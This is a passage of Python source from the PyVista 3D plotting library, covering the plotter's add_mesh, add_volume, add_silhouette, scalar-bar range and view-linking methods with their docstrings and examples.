float, optional Usually this value is either 0 or 1 for a real material but any value in between is valid. This parameter is only used by PBR interpolation. Default value is 0.0. roughness : float, optional This value has to be between 0 (glossy) and 1 (rough). A glossy material has reflections and a high specular part. This parameter is only used by PBR interpolation. Default value is 0.5. render : bool, optional Force a render when ``True``. Default ``True``. component : int, optional Set component of vector valued scalars to plot. Must be nonnegative, if supplied. If ``None``, the magnitude of the vector is plotted. **kwargs : dict, optional Optional developer keyword arguments. Returns ------- vtk.vtkActor VTK actor of the mesh. Examples -------- Add a sphere to the plotter and show it with a custom scalar bar title. >>> import pyvista >>> sphere = pyvista.Sphere() >>> sphere['Data'] = sphere.points[:, 2] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere, ... scalar_bar_args={'title': 'Z Position'}) >>> plotter.show() Plot using RGB on a single cell. Note that since the number of points and the number of cells are identical, we have to pass ``preference='cell'``. >>> import pyvista >>> import numpy as np >>> vertices = np.array([[0, 0, 0], [1, 0, 0], [.5, .667, 0], [0.5, .33, 0.667]]) >>> faces = np.hstack([[3, 0, 1, 2], [3, 0, 3, 2], [3, 0, 1, 3], [3, 1, 2, 3]]) >>> mesh = pyvista.PolyData(vertices, faces) >>> mesh.cell_data['colors'] = [[255, 255, 255], ... [0, 255, 0], ... [0, 0, 255], ... [255, 0, 0]] >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, scalars='colors', lighting=False, ... rgb=True, preference='cell') >>> plotter.camera_position='xy' >>> plotter.show() Note how this varies from ``preference=='point'``. This is because each point is now being individually colored, versus in ``preference=='point'``, each cell face is individually colored. >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(mesh, scalars='colors', lighting=False, ... rgb=True, preference='point') >>> plotter.camera_position='xy' >>> plotter.show() """ # Convert the VTK data object to a pyvista wrapped object if necessary if not is_pyvista_dataset(mesh): mesh = wrap(mesh) if not is_pyvista_dataset(mesh): raise TypeError(f'Object type ({type(mesh)}) not supported for plotting in PyVista.') ##### Parse arguments to be used for all meshes ##### # Avoid mutating input if scalar_bar_args is None: scalar_bar_args = {'n_colors': n_colors} else: scalar_bar_args = scalar_bar_args.copy() if show_edges is None: show_edges = self._theme.show_edges if edge_color is None: edge_color = self._theme.edge_color if show_scalar_bar is None: show_scalar_bar = self._theme.show_scalar_bar if lighting is None: lighting = self._theme.lighting if smooth_shading is None: if pbr: smooth_shading = True else: smooth_shading = self._theme.smooth_shading # supported aliases clim = kwargs.pop('rng', clim) cmap = kwargs.pop('colormap', cmap) culling = kwargs.pop("backface_culling", culling) if render_points_as_spheres is None: render_points_as_spheres = self._theme.render_points_as_spheres if name is None: name = f'{type(mesh).__name__}({mesh.memory_address})' if nan_color is None: nan_color = self._theme.nan_color nan_color = list(parse_color(nan_color)) nan_color.append(nan_opacity) if color is True: color = self._theme.color if texture is False: texture = None if culling is True: culling = 'backface' rgb = kwargs.pop('rgba', rgb) # account for legacy behavior if 'stitle' in kwargs: # pragma: no cover warnings.warn(USE_SCALAR_BAR_ARGS, PyvistaDeprecationWarning) scalar_bar_args.setdefault('title', kwargs.pop('stitle')) if "scalar" in kwargs: raise TypeError("`scalar` is an invalid keyword argument for `add_mesh`. Perhaps you mean `scalars` with an s?") assert_empty_kwargs(**kwargs) ##### Handle composite datasets ##### if isinstance(mesh, pyvista.MultiBlock): # first check the scalars if clim is None and scalars is not None: # Get the data range across the array for all blocks # if scalars specified if isinstance(scalars, str): clim = mesh.get_data_range(scalars) else: # TODO: an array was given... how do we deal with # that? Possibly a 2D arrays or list of # arrays where first index corresponds to # the block? This could get complicated real # quick. raise TypeError('scalars array must be given as a string name for multiblock datasets.') the_arguments = locals() the_arguments.pop('self') the_arguments.pop('mesh') the_arguments.pop('kwargs') if multi_colors: # Compute unique colors for each index of the block if _has_matplotlib(): import matplotlib from itertools import cycle cycler = matplotlib.rcParams['axes.prop_cycle'] colors = cycle(cycler) else: multi_colors = False logging.warning('Please install matplotlib for color cycles') # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(mesh.GetNumberOfBlocks()): if mesh[idx] is None: continue # Get a good name to use next_name = f'{name}-{idx}' # Get the data object if not is_pyvista_dataset(mesh[idx]): data = wrap(mesh.GetBlock(idx)) if not is_pyvista_dataset(mesh[idx]): continue # move on if we can't plot it else: data = mesh.GetBlock(idx) if data is None or (not isinstance(data, pyvista.MultiBlock) and data.n_points < 1): # Note that a block can exist but be None type # or it could have zeros points (be empty) after filtering continue # Now check that scalars is available for this dataset if isinstance(data, _vtk.vtkMultiBlockDataSet) or get_array(data, scalars) is None: ts = None else: ts = scalars if multi_colors: color = next(colors)['color'] ## Add to the scene the_arguments['color'] = color the_arguments['scalars'] = ts the_arguments['name'] = next_name the_arguments['texture'] = None a = self.add_mesh(data, **the_arguments) actors.append(a) if (reset_camera is None and not self.camera_set) or reset_camera: cpos = self.get_default_cam_pos() self.camera_position = cpos self.camera_set = False self.reset_camera() return actors ##### Plot a single PyVista mesh ##### if silhouette: if isinstance(silhouette, dict): self.add_silhouette(mesh, silhouette) else: self.add_silhouette(mesh) # Compute surface normals if using smooth shading if smooth_shading: # extract surface if mesh is exterior if not isinstance(mesh, pyvista.PolyData): grid = mesh mesh = grid.extract_surface() ind = mesh.point_data['vtkOriginalPointIds'] # remap scalars if isinstance(scalars, np.ndarray): scalars = scalars[ind] if texture: _tcoords = mesh.active_t_coords mesh.compute_normals(cell_normals=False, inplace=True) if texture: mesh.active_t_coords = _tcoords if mesh.n_points < 1: raise ValueError('Empty meshes cannot be plotted. Input mesh has zero points.') # Try to plot something if no preference given if scalars is None and color is None and texture is None: # Prefer texture first if len(list(mesh.textures.keys())) > 0: texture = True # If no texture, plot any active scalar else: # Make sure scalars components are not vectors/tuples scalars = mesh.active_scalars_name # Don't allow plotting of string arrays by default if scalars is not None:# and np.issubdtype(mesh.active_scalars.dtype, np.number): scalar_bar_args.setdefault('title', scalars) else: scalars = None # set main values self.mesh = mesh self.mapper = make_mapper(_vtk.vtkDataSetMapper) self.mapper.SetInputData(self.mesh) self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() actor = _vtk.vtkActor() prop = _vtk.vtkProperty() actor.SetMapper(self.mapper) actor.SetProperty(prop) # Make sure scalars is a numpy array after this point original_scalar_name = None if isinstance(scalars, str): self.mapper.SetArrayName(scalars) # enable rgb if the scalars name ends with rgb or rgba if rgb is None: if scalars.endswith('_rgb') or scalars.endswith('_rgba'): rgb = True original_scalar_name = scalars scalars = get_array(mesh, scalars, preference=preference, err=True) scalar_bar_args.setdefault('title', original_scalar_name) if texture is True or isinstance(texture, (str, int)): texture = mesh._activate_texture(texture) if texture: if isinstance(texture, np.ndarray): texture = numpy_to_texture(texture) if not isinstance(texture, (_vtk.vtkTexture, _vtk.vtkOpenGLTexture)): raise TypeError(f'Invalid texture type ({type(texture)})') if mesh.GetPointData().GetTCoords() is None: raise ValueError('Input mesh does not have texture coordinates to support the texture.') actor.SetTexture(texture) # Set color to white by default when using a texture if color is None: color = 'white' if scalars is None: show_scalar_bar = False self.mapper.SetScalarModeToUsePointFieldData() # see https://github.com/pyvista/pyvista/issues/950 mesh.set_active_scalars(None) # Handle making opacity array ========================================= _custom_opac = False if isinstance(opacity, str): try: # Get array from mesh opacity = get_array(mesh, opacity, preference=preference, err=True) if np.any(opacity > 1): warnings.warn("Opacity scalars contain values over 1") if np.any(opacity < 0): warnings.warn("Opacity scalars contain values less than 0") _custom_opac = True except: # Or get opacity transfer function opacity = opacity_transfer_function(opacity, n_colors) else: if scalars.shape[0] != opacity.shape[0]: raise ValueError('Opacity array and scalars array must have the same number of elements.') elif isinstance(opacity, (np.ndarray, list, tuple)): opacity = np.array(opacity) if scalars.shape[0] == opacity.shape[0]: # User could pass an array of opacities for every point/cell _custom_opac = True else: opacity = opacity_transfer_function(opacity, n_colors) if use_transparency and np.max(opacity) <= 1.0: opacity = 1 - opacity elif use_transparency and isinstance(opacity, np.ndarray): opacity = 255 - opacity # Scalars formatting ================================================== if cmap is None: # Set default map if matplotlib is available if _has_matplotlib(): cmap = self._theme.cmap # Set the array title for when it is added back to the mesh if _custom_opac: title = '__custom_rgba' else: title = scalar_bar_args.get('title', 'Data') if scalars is not None: # if scalars is a string, then get the first array found with that name if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) _using_labels = False if not np.issubdtype(scalars.dtype, np.number): # raise TypeError('Non-numeric scalars are currently not supported for plotting.') # TODO: If str array, digitive and annotate cats, scalars = np.unique(scalars.astype('|S'), return_inverse=True) values = np.unique(scalars) clim = [np.min(values) - 0.5, np.max(values) + 0.5] title = f'{title}-digitized' n_colors = len(cats) scalar_bar_args.setdefault('n_labels', 0) _using_labels = True if rgb: show_scalar_bar = False if scalars.ndim != 2 or scalars.shape[1] < 3 or scalars.shape[1] > 4: raise ValueError('RGB array must be n_points/n_cells by 3/4 in shape.') if scalars.ndim != 1: if rgb: pass elif scalars.ndim == 2 and (scalars.shape[0] == mesh.n_points or scalars.shape[0] == mesh.n_cells): if not isinstance(component, (int, type(None))): raise TypeError('component must be either None or an integer') if component is None: scalars = np.linalg.norm(scalars.copy(), axis=1) title = '{}-normed'.format(title) elif component < scalars.shape[1] and component >= 0: scalars = scalars[:, component].copy() title = '{}-{}'.format(title, component) else: raise ValueError( ('component must be nonnegative and less than the ' 'dimensionality of the scalars array: {}').format( scalars.shape[1] ) ) else: scalars = scalars.ravel() if scalars.dtype == np.bool_: scalars = scalars.astype(np.float_) def prepare_mapper(scalars): if (scalars.shape[0] == mesh.n_points and scalars.shape[0] == mesh.n_cells): use_points = preference == 'point' use_cells = not use_points else: use_points = scalars.shape[0] == mesh.n_points use_cells = scalars.shape[0] == mesh.n_cells # Scalars interpolation approach if use_points: self.mesh.point_data.set_array(scalars, title, True) self.mesh.active_scalars_name = title self.mapper.SetScalarModeToUsePointData() elif use_cells: self.mesh.cell_data.set_array(scalars, title, True) self.mesh.active_scalars_name = title self.mapper.SetScalarModeToUseCellData() else: raise_not_matching(scalars, mesh) # Common tasks self.mapper.GetLookupTable().SetNumberOfTableValues(n_colors) if interpolate_before_map: self.mapper.InterpolateScalarsBeforeMappingOn() if rgb or _custom_opac: self.mapper.SetColorModeToDirectScalars() else: self.mapper.SetColorModeToMapScalars() return prepare_mapper(scalars) table = self.mapper.GetLookupTable() if _using_labels: table.SetAnnotations(convert_array(values), convert_string_array(cats)) if isinstance(annotations, dict): for val, anno in annotations.items(): table.SetAnnotation(float(val), str(anno)) # Set scalars range if clim is None: clim = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(clim, (int, float)): clim = [-clim, clim] if log_scale: if clim[0] <= 0: clim = [sys.float_info.min, clim[1]] table.SetScaleToLog10() if np.any(clim) and not rgb: self.mapper.scalar_range = clim[0], clim[1] table.SetNanColor(nan_color) if above_color: table.SetUseAboveRangeColor(True) table.SetAboveRangeColor(*parse_color(above_color, opacity=1)) scalar_bar_args.setdefault('above_label', 'Above') if below_color: table.SetUseBelowRangeColor(True) table.SetBelowRangeColor(*parse_color(below_color, opacity=1)) scalar_bar_args.setdefault('below_label', 'Below') if cmap is not None: # have to add the attribute to pass it onward to some classes if isinstance(cmap, str): self.mapper.cmap = cmap # ipygany uses different colormaps if self._theme.jupyter_backend == 'ipygany': from ..jupyter.pv_ipygany import check_colormap check_colormap(cmap) else: if not _has_matplotlib(): cmap = None logging.warning('Please install matplotlib for color maps.') cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories ctable = cmap(np.linspace(0, 1, n_colors))*255 ctable = ctable.astype(np.uint8) # Set opactities if isinstance(opacity, np.ndarray) and not _custom_opac: ctable[:, -1] = opacity if flip_scalars: ctable = np.ascontiguousarray(ctable[::-1]) table.SetTable(_vtk.numpy_to_vtk(ctable)) if _custom_opac: # need to round the colors here since we're # directly displaying the colors hue = normalize(scalars, minimum=clim[0], maximum=clim[1]) scalars = np.round(hue*n_colors)/n_colors scalars = cmap(scalars)*255 scalars[:, -1] *= opacity scalars = scalars.astype(np.uint8) prepare_mapper(scalars) else: # no cmap specified if flip_scalars: table.SetHueRange(0.0, 0.66667) else: table.SetHueRange(0.66667, 0.0) else: self.mapper.SetScalarModeToUseFieldData() # Set actor properties ================================================ # select view style if not style: style = 'surface' style = style.lower() if style == 'wireframe': prop.SetRepresentationToWireframe() if color is None: color = self._theme.outline_color elif style == 'points': prop.SetRepresentationToPoints() elif style == 'surface': prop.SetRepresentationToSurface() else: raise ValueError('Invalid style. Must be one of the following:\n' '\t"surface"\n' '\t"wireframe"\n' '\t"points"\n') prop.SetPointSize(point_size) prop.SetAmbient(ambient) prop.SetDiffuse(diffuse) prop.SetSpecular(specular) prop.SetSpecularPower(specular_power) if pbr: if not _vtk.VTK9: # pragma: no cover raise RuntimeError('Physically based rendering requires VTK 9 ' 'or newer') prop.SetInterpolationToPBR() prop.SetMetallic(metallic) prop.SetRoughness(roughness) elif smooth_shading: prop.SetInterpolationToPhong() else: prop.SetInterpolationToFlat() # edge display style if show_edges: prop.EdgeVisibilityOn() rgb_color = parse_color(color, default_color=self._theme.color) prop.SetColor(rgb_color) if isinstance(opacity, (float, int)): prop.SetOpacity(opacity) prop.SetEdgeColor(parse_color(edge_color)) if render_points_as_spheres: prop.SetRenderPointsAsSpheres(render_points_as_spheres) if render_lines_as_tubes: prop.SetRenderLinesAsTubes(render_lines_as_tubes) # legend label if label: if not isinstance(label, str): raise TypeError('Label must be a string') geom = pyvista.Triangle() if scalars is not None: geom = pyvista.Box() rgb_color = parse_color('black') geom.points -= geom.center self._labels.append([geom, label, rgb_color]) # lighting display style if not lighting: prop.LightingOff() # set line thickness if line_width: prop.SetLineWidth(line_width) self.add_actor(actor, reset_camera=reset_camera, name=name, culling=culling, pickable=pickable, render=render) # hide scalar bar if using special scalars if scalar_bar_args.get('title') == '__custom_rgba': show_scalar_bar = False # Only show scalar bar if there are scalars if show_scalar_bar and scalars is not None: self.add_scalar_bar(**scalar_bar_args) self.renderer.Modified() return actor def add_volume(self, volume, scalars=None, clim=None, resolution=None, opacity='linear', n_colors=256, cmap=None, flip_scalars=False, reset_camera=None, name=None, ambient=0.0, categories=False, culling=False, multi_colors=False, blending='composite', mapper=None, scalar_bar_args=None, show_scalar_bar=None, annotations=None, pickable=True, preference="point", opacity_unit_distance=None, shade=False, diffuse=0.7, specular=0.2, specular_power=10.0, render=True, **kwargs): """Add a volume, rendered using a smart mapper by default. Requires a 3D :class:`numpy.ndarray` or :class:`pyvista.UniformGrid`. Parameters ---------- volume : 3D numpy.ndarray or pyvista.UniformGrid The input volume to visualize. 3D numpy arrays are accepted. scalars : str or numpy.ndarray, optional Scalars used to "color" the mesh. Accepts a string name of an array that is present on the mesh or an array equal to the number of cells or the number of points in the mesh. Array should be sized as a single vector. If ``scalars`` is ``None``, then the active scalars are used. clim : 2 item list, optional Color bar range for scalars. Defaults to minimum and maximum of scalars array. Example: ``[-1, 2]``. ``rng`` is also an accepted alias for this. resolution : list, optional Block resolution. opacity : str or numpy.ndarray, optional Opacity mapping for the scalars array. A string can also be specified to map the scalars range to a predefined opacity transfer function (options include: 'linear', 'linear_r', 'geom', 'geom_r'). Or you can pass a custom made transfer function that is an array either ``n_colors`` in length or shorter. n_colors : int, optional Number of colors to use when displaying scalars. Defaults to 256. The scalar bar will also have this many colors. cmap : str, optional Name of the Matplotlib colormap to us when mapping the ``scalars``. See available Matplotlib colormaps. Only applicable for when displaying ``scalars``. Requires Matplotlib to be installed. ``colormap`` is also an accepted alias for this. If ``colorcet`` or ``cmocean`` are installed, their colormaps can be specified by name. flip_scalars : bool, optional Flip direction of cmap. Most colormaps allow ``*_r`` suffix to do this as well. reset_camera : bool, optional Reset the camera after adding this mesh to the scene. name : str, optional The name for the added actor so that it can be easily updated. If an actor of this name already exists in the rendering window, it will be replaced by the new actor. ambient : float, optional When lighting is enabled, this is the amount of light from 0 to 1 that reaches the actor when not directed at the light source emitted from the viewer. Default 0.0. categories : bool, optional If set to ``True``, then the number of unique values in the scalar array will be used as the ``n_colors`` argument. culling : str, optional Does not render faces that are culled. Options are ``'front'`` or ``'back'``. This can be helpful for dense surface meshes, especially when edges are visible, but can cause flat meshes to be partially displayed. Defaults ``False``. multi_colors : bool, optional Whether or not to use multiple colors when plotting MultiBlock object. Blocks will be colored sequentially as 'Reds', 'Greens', 'Blues', and 'Grays'. blending : str, optional Blending mode for visualisation of the input object(s). Can be one of 'additive', 'maximum', 'minimum', 'composite', or 'average'. Defaults to 'additive'. mapper : str, optional Volume mapper to use given by name. Options include: ``'fixed_point'``, ``'gpu'``, ``'open_gl'``, and ``'smart'``. If ``None`` the ``"volume_mapper"`` in the ``self._theme`` is used. scalar_bar_args : dict, optional Dictionary of keyword arguments to pass when adding the scalar bar to the scene. For options, see :func:`pyvista.BasePlotter.add_scalar_bar`. show_scalar_bar : bool If ``False``, a scalar bar will not be added to the scene. Defaults to ``True``. annotations : dict, optional Pass a dictionary of annotations. Keys are the float values in the scalars range to annotate on the scalar bar and the values are the the string annotations. pickable : bool, optional Set whether this mesh is pickable. preference : str, optional When ``mesh.n_points == mesh.n_cells`` and setting scalars, this parameter sets how the scalars will be mapped to the mesh. Default ``'points'``, causes the scalars will be associated with the mesh points. Can be either ``'points'`` or ``'cells'``. opacity_unit_distance : float Set/Get the unit distance on which the scalar opacity transfer function is defined. Meaning that over that distance, a given opacity (from the transfer function) is accumulated. This is adjusted for the actual sampling distance during rendering. By default, this is the length of the diagonal of the bounding box of the volume divided by the dimensions. shade : bool Default off. If shading is turned on, the mapper may perform shading calculations - in some cases shading does not apply (for example, in a maximum intensity projection) and therefore shading will not be performed even if this flag is on. diffuse : float, optional The diffuse lighting coefficient. Default ``1.0``. specular : float, optional The specular lighting coefficient. Default ``0.0``. specular_power : float, optional The specular power. Between ``0.0`` and ``128.0``. render : bool, optional Force a render when True. Default ``True``. **kwargs : dict, optional Optional keyword arguments. Returns ------- vtk.vtkActor VTK actor of the volume. Examples -------- Show a built-in volume example with the coolwarm colormap. >>> from pyvista import examples >>> import pyvista as pv >>> bolt_nut = examples.download_bolt_nut() >>> pl = pv.Plotter() >>> _ = pl.add_volume(bolt_nut, cmap="coolwarm") >>> pl.show() """ # Handle default arguments # Supported aliases clim = kwargs.pop('rng', clim) cmap = kwargs.pop('colormap', cmap) culling = kwargs.pop("backface_culling", culling) if "scalar" in kwargs: raise TypeError("`scalar` is an invalid keyword argument for `add_mesh`. Perhaps you mean `scalars` with an s?") assert_empty_kwargs(**kwargs) # Avoid mutating input if scalar_bar_args is None: scalar_bar_args = {} else: scalar_bar_args = scalar_bar_args.copy() # account for legacy behavior if 'stitle' in kwargs: # pragma: no cover warnings.warn(USE_SCALAR_BAR_ARGS, PyvistaDeprecationWarning) scalar_bar_args.setdefault('title', kwargs.pop('stitle')) if show_scalar_bar is None: show_scalar_bar = self._theme.show_scalar_bar if culling is True: culling = 'backface' if mapper is None: mapper = self._theme.volume_mapper # only render when the plotter has already been shown if render is None: render = not self._first_time # Convert the VTK data object to a pyvista wrapped object if necessary if not is_pyvista_dataset(volume): if isinstance(volume, np.ndarray): volume = wrap(volume) if resolution is None: resolution = [1, 1, 1] elif len(resolution) != 3: raise ValueError('Invalid resolution dimensions.') volume.spacing = resolution else: volume = wrap(volume) if not is_pyvista_dataset(volume): raise TypeError(f'Object type ({type(volume)}) not supported for plotting in PyVista.') else: # HACK: Make a copy so the original object is not altered. # Also, place all data on the nodes as issues arise when # volume rendering on the cells. volume = volume.cell_data_to_point_data() if name is None: name = f'{type(volume).__name__}({volume.memory_address})' if isinstance(volume, pyvista.MultiBlock): from itertools import cycle cycler = cycle(['Reds', 'Greens', 'Blues', 'Greys', 'Oranges', 'Purples']) # Now iteratively plot each element of the multiblock dataset actors = [] for idx in range(volume.GetNumberOfBlocks()): if volume[idx] is None: continue # Get a good name to use next_name = f'{name}-{idx}' # Get the data object block = wrap(volume.GetBlock(idx)) if resolution is None: try: block_resolution = block.GetSpacing() except AttributeError: block_resolution = resolution else: block_resolution = resolution if multi_colors: color = next(cycler) else: color = cmap a = self.add_volume(block, resolution=block_resolution, opacity=opacity, n_colors=n_colors, cmap=color, flip_scalars=flip_scalars, reset_camera=reset_camera, name=next_name, ambient=ambient, categories=categories, culling=culling, clim=clim, mapper=mapper, pickable=pickable, opacity_unit_distance=opacity_unit_distance, shade=shade, diffuse=diffuse, specular=specular, specular_power=specular_power, render=render) actors.append(a) return actors if not isinstance(volume, pyvista.UniformGrid): raise TypeError(f'Type {type(volume)} not supported for volume rendering at this time. Use `pyvista.UniformGrid`.') if opacity_unit_distance is None: opacity_unit_distance = volume.length / (np.mean(volume.dimensions) - 1) if scalars is None: # Make sure scalars components are not vectors/tuples scalars = volume.active_scalars # Don't allow plotting of string arrays by default if scalars is not None and np.issubdtype(scalars.dtype, np.number): scalar_bar_args.setdefault('title', volume.active_scalars_info[1]) else: raise ValueError('No scalars to use for volume rendering.') elif isinstance(scalars, str): pass ############## title = 'Data' if isinstance(scalars, str): title = scalars scalars = get_array(volume, scalars, preference=preference, err=True) scalar_bar_args.setdefault('title', title) if not isinstance(scalars, np.ndarray): scalars = np.asarray(scalars) if not np.issubdtype(scalars.dtype, np.number): raise TypeError('Non-numeric scalars are currently not supported for volume rendering.') if scalars.ndim != 1: scalars = scalars.ravel() if scalars.dtype == np.bool_ or scalars.dtype == np.uint8: scalars = scalars.astype(np.float_) # Define mapper, volume, and add the correct properties mappers = { 'fixed_point': _vtk.vtkFixedPointVolumeRayCastMapper, 'gpu': _vtk.vtkGPUVolumeRayCastMapper, 'open_gl': _vtk.vtkOpenGLGPUVolumeRayCastMapper, 'smart': _vtk.vtkSmartVolumeMapper, } if not isinstance(mapper, str) or mapper not in mappers.keys(): raise TypeError(f"Mapper ({mapper}) unknown. Available volume mappers include: {", ".join(mappers.keys())}") self.mapper = make_mapper(mappers[mapper]) # Scalars interpolation approach if scalars.shape[0] == volume.n_points: volume.point_data.set_array(scalars, title, True) self.mapper.SetScalarModeToUsePointData() elif scalars.shape[0] == volume.n_cells: volume.cell_data.set_array(scalars, title, True) self.mapper.SetScalarModeToUseCellData() else: raise_not_matching(scalars, volume) # Set scalars range if clim is None: clim = [np.nanmin(scalars), np.nanmax(scalars)] elif isinstance(clim, float) or isinstance(clim, int): clim = [-clim, clim] ############### scalars = scalars.astype(np.float_) with np.errstate(invalid='ignore'): idxs0 = scalars < clim[0] idxs1 = scalars > clim[1] scalars[idxs0] = clim[0] scalars[idxs1] = clim[1] scalars = ((scalars - np.nanmin(scalars)) / (np.nanmax(scalars) - np.nanmin(scalars))) * 255 # scalars = scalars.astype(np.uint8) volume[title] = scalars self.mapper.scalar_range = clim # Set colormap and build lookup table table = _vtk.vtkLookupTable() # table.SetNanColor(nan_color) # NaN's are chopped out with current implementation # above/below colors not supported with volume rendering if isinstance(annotations, dict): for val, anno in annotations.items(): table.SetAnnotation(float(val), str(anno)) if cmap is None: # Set default map if matplotlib is available if _has_matplotlib(): cmap = self._theme.cmap if cmap is not None: if not _has_matplotlib(): raise ImportError('Please install matplotlib for volume rendering.') cmap = get_cmap_safe(cmap) if categories: if categories is True: n_colors = len(np.unique(scalars)) elif isinstance(categories, int): n_colors = categories if flip_scalars: cmap = cmap.reversed() color_tf = _vtk.vtkColorTransferFunction() for ii in range(n_colors): color_tf.AddRGBPoint(ii, *cmap(ii)[:-1]) # Set opacities if isinstance(opacity, (float, int)): opacity_values = [opacity] * n_colors elif isinstance(opacity, str): opacity_values = pyvista.opacity_transfer_function(opacity, n_colors) elif isinstance(opacity, (np.ndarray, list, tuple)): opacity = np.array(opacity) opacity_values = opacity_transfer_function(opacity, n_colors) opacity_tf = _vtk.vtkPiecewiseFunction() for ii in range(n_colors): opacity_tf.AddPoint(ii, opacity_values[ii] / n_colors) # Now put color tf and opacity tf into a lookup table for the scalar bar table.SetNumberOfTableValues(n_colors) lut = cmap(np.array(range(n_colors))) * 255 lut[:,3] = opacity_values lut = lut.astype(np.uint8) table.SetTable(_vtk.numpy_to_vtk(lut)) table.SetRange(*clim) self.mapper.lookup_table = table self.mapper.SetInputData(volume) blending = blending.lower() if blending in ['additive', 'add', 'sum']: self.mapper.SetBlendModeToAdditive() elif blending in ['average', 'avg', 'average_intensity']: self.mapper.SetBlendModeToAverageIntensity() elif blending in ['composite', 'comp']: self.mapper.SetBlendModeToComposite() elif blending in ['maximum', 'max', 'maximum_intensity']: self.mapper.SetBlendModeToMaximumIntensity() elif blending in ['minimum', 'min', 'minimum_intensity']: self.mapper.SetBlendModeToMinimumIntensity() else: raise ValueError(f'Blending mode \'{blending}\' invalid. ' + 'Please choose one ' + 'of \'additive\', ' '\'composite\', \'minimum\' or ' + '\'maximum\'.') self.mapper.Update() self.volume = _vtk.vtkVolume() self.volume.SetMapper(self.mapper) prop = _vtk.vtkVolumeProperty() prop.SetColor(color_tf) prop.SetScalarOpacity(opacity_tf) prop.SetAmbient(ambient) prop.SetScalarOpacityUnitDistance(opacity_unit_distance) prop.SetShade(shade) prop.SetDiffuse(diffuse) prop.SetSpecular(specular) prop.SetSpecularPower(specular_power) self.volume.SetProperty(prop) actor, prop = self.add_actor(self.volume, reset_camera=reset_camera, name=name, culling=culling, pickable=pickable, render=render) # Add scalar bar if scalars are available if show_scalar_bar and scalars is not None: self.add_scalar_bar(**scalar_bar_args) self.renderer.Modified() return actor def add_silhouette(self, mesh, params=None): """Add a silhouette of a PyVista or VTK dataset to the scene. A silhouette can also be generated directly in :func:`add_mesh <pyvista.Plotter.add_mesh>`. See also :ref:`silhouette_example`. Parameters ---------- mesh : pyvista.PolyData Mesh for generating silhouette to plot. params : dict, optional * If not supplied, the default theme values will be used. * ``color``: ``str`` or 3-item ``list``, color of the silhouette * ``line_width``: ``float``, edge width * ``opacity``: ``float`` between 0 and 1, edge transparency * ``feature_angle``: If a ``float``, display sharp edges exceeding that angle in degrees. * ``decimate``: ``float`` between 0 and 1, level of decimation Returns ------- vtk.vtkActor VTK actor of the silhouette. Examples -------- >>> import pyvista >>> from pyvista import examples >>> bunny = examples.download_bunny() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(bunny, color='tan') >>> _ = plotter.add_silhouette(bunny, ... params={'color': 'red', 'line_width': 8.0}) >>> plotter.view_xy() >>> plotter.show() """ silhouette_params = self._theme.silhouette.to_dict() if params: silhouette_params.update(params) if not is_pyvista_dataset(mesh): mesh = wrap(mesh) if not isinstance(mesh, pyvista.PolyData): raise TypeError(f"Expected type is `PolyData` but {type(mesh)} was given.") if isinstance(silhouette_params["decimate"], float): silhouette_mesh = mesh.decimate(silhouette_params["decimate"]) else: silhouette_mesh = mesh alg = _vtk.vtkPolyDataSilhouette() alg.SetInputData(silhouette_mesh) alg.SetCamera(self.renderer.camera) if silhouette_params["feature_angle"] is not None: alg.SetEnableFeatureAngle(True) alg.SetFeatureAngle(silhouette_params["feature_angle"]) else: alg.SetEnableFeatureAngle(False) mapper = make_mapper(_vtk.vtkDataSetMapper) mapper.SetInputConnection(alg.GetOutputPort()) actor, prop = self.add_actor(mapper) prop.SetColor(parse_color(silhouette_params["color"])) prop.SetOpacity(silhouette_params["opacity"]) prop.SetLineWidth(silhouette_params["line_width"]) return actor def update_scalar_bar_range(self, clim, name=None): """Update the value range of the active or named scalar bar. Parameters ---------- clim : sequence The new range of scalar bar. Two item list (e.g. ``[-1, 2]``). name : str, optional The title of the scalar bar to update. """ if isinstance(clim, float) or isinstance(clim, int): clim = [-clim, clim] if len(clim) != 2: raise TypeError('clim argument must be a length 2 iterable of values: (min, max).') if name is None: if not hasattr(self, 'mapper'): raise AttributeError('This plotter does not have an active mapper.') self.mapper.scalar_range = clim return # Use the name to find the desired actor def update_mapper(mapper_helper): mapper_helper.scalar_range = clim return try: for mh in self._scalar_bar_mappers[name]: update_mapper(mh) except KeyError: raise KeyError('Name ({}) not valid/not found in this plotter.') return def clear(self): """Clear plot by removing all actors and properties. Examples -------- >>> import pyvista >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.clear() >>> plotter.renderer.actors {} """ self.renderers.clear() self.scalar_bars.clear() self.mesh = None def link_views(self, views=0): """Link the views' cameras. Parameters ---------- views : int | tuple or list If ``views`` is int, link the views to the given view index or if ``views`` is a tuple or a list, link the given views cameras. """ if isinstance(views, (int, np.integer)): for renderer in self.renderers: renderer.camera = self.renderers[views].camera return views = np.asarray(views) if np.issubdtype(views.dtype, np.integer): for view_index in views: self.renderers[view_index].camera = \ self.renderers[views[0]].camera else: raise TypeError('Expected type is int, list or tuple:' f'{type(views)} is given') def unlink_views(self, views=None): """Unlink the views' cameras. Parameters ---------- views : None, int, tuple or list If ``views`` is None unlink all the views, if ``views`` is int unlink the selected view's camera or if ``views`` is a tuple or a list, unlink the given views cameras. """ if views is None: for renderer in self.renderers: renderer.camera = Camera() renderer.reset_camera() elif isinstance(views, int): self.renderers[views].camera = Camera() self.renderers[views].reset_camera() elif isinstance(views, collections.abc.Iterable): for view_index in views: self.renderers[view_index].camera = Camera() self.renderers[view_index].reset_camera() else: raise TypeError('Expected type is None, int, list or tuple:' f'{type(views)} is given') @wraps(ScalarBars.add_scalar_bar) def add_scalar_bar(self, *args, **kwargs): """Wrap for ``ScalarBars.add_scalar_bar``.""" # only render when the plotter has already been shown render = kwargs.get('render', None) if render is None: kwargs['render'] = not self._first_time # check if maper exists mapper = kwargs.get('mapper', None) if mapper is None: if not hasattr(self, 'mapper') or self.mapper is None: raise AttributeError('Mapper does not exist. ' 'Add a mesh with scalars first.') kwargs['mapper'] = 